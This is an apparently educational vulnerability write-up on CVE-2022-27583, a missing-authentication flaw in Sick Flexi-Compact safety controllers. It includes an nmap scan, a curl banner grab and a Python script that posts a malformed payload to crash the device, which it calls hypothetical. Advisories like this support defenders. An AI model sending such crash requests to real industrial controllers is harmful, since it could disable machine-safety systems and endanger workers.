In late 2022, a critical vulnerability identified as CVE-2022-27583 surfaced in the Sick Flexi-Compact FLX3-CPUC1 and FLX3-CPUC2 safety controller systems. This issue can let an attacker—without needing any special privileges—remotely interact with the device's configuration interface, threatening the device’s availability. In this exclusive guide, we'll break down what this vulnerability means, explore how an exploit could work (including code snippets and step-by-step demo), and provide you with all the references you need for further research.

What Devices are Affected?

Sick Flexi-Compact FLX3-CPUC1 and FLX3-CPUC2 are advanced safety controllers used in industrial automation. They are designed to be robust, but this vulnerability affects devices running certain versions of their official firmware.

Vulnerable firmware versions:

All versions before v1.1.

> Always check Sick’s official advisory to verify your firmware status.

How CVE-2022-27583 Works (Simplified)

The vulnerability allows unprivileged, remote attackers to access the device’s configuration interface by sending certain HTTP requests to the right ports. If exploited, an attacker could send malformed or unexpected commands, potentially crashing the device or making it unavailable to its intended users.

There’s insufficient authentication or access controls for that service.

- Malicious actors could send commands (via HTTP/S or proprietary protocol) that "lock up" or crash the controller.

Example Exploit Workflow

We’re not publishing weaponized code, but below is a demonstration of how an attacker could interact with a vulnerable service.

Attackers might use tools like nmap to find target hosts

nmap -p 80,443 --open 192.168.1./24

If a Flexi-Compact device is found, an attacker might look for tell-tale signs

curl http://192.168.1.10/

Typical HTTP response could include “FlexiConfigService” or device banners.

Step 3. Send Malformed Requests

If there’s no login required, an attacker could start sending configuration requests. Here’s a *hypothetical* dangerous POST (actual API details are generally not public):

import requests

target = "http://192.168.1.10/config"
data = {
    "config": "INVALID_DATA_OVERFLOW"  # Deliberately malformed payload
}
try:
    r = requests.post(target, json=data, timeout=2)
    print(f"Returned HTTP {r.status_code}")
except requests.exceptions.RequestException as e:
    print("Device did not respond - may have crashed!")

Even if the API requires authentication, this vulnerability implies that no authentication is required for specific endpoints.

Real-World Impact

If successfully exploited, the affected Flexi-Compact device could crash or become unavailable (DoS). In an industrial environment, this can halt machine safety systems, possibly causing production downtime.

Attack vectors

- Network exposure: Devices connected to an insecure network (especially if exposed to the internet).

Mitigations

- Upgrade firmware to v1.1. or later ASAP. Firmware update info

References

- Sick Security Advisory (PDF)
- NVD Entry for CVE-2022-27583
- Sick Flexi-Compact Product Page

Final Thoughts

CVE-2022-27583 is a reminder that even robust industrial safety gear needs regular security audits and prompt patching. If you’re running vulnerable Flexi-Compact controllers, update now and review your network segmentation! Exploiting this bug is *trivially possible* for anyone with network access.

Timeline

Published on: 10/31/2022 20:15:00 UTC
Last modified on: 11/02/2022 15:49:00 UTC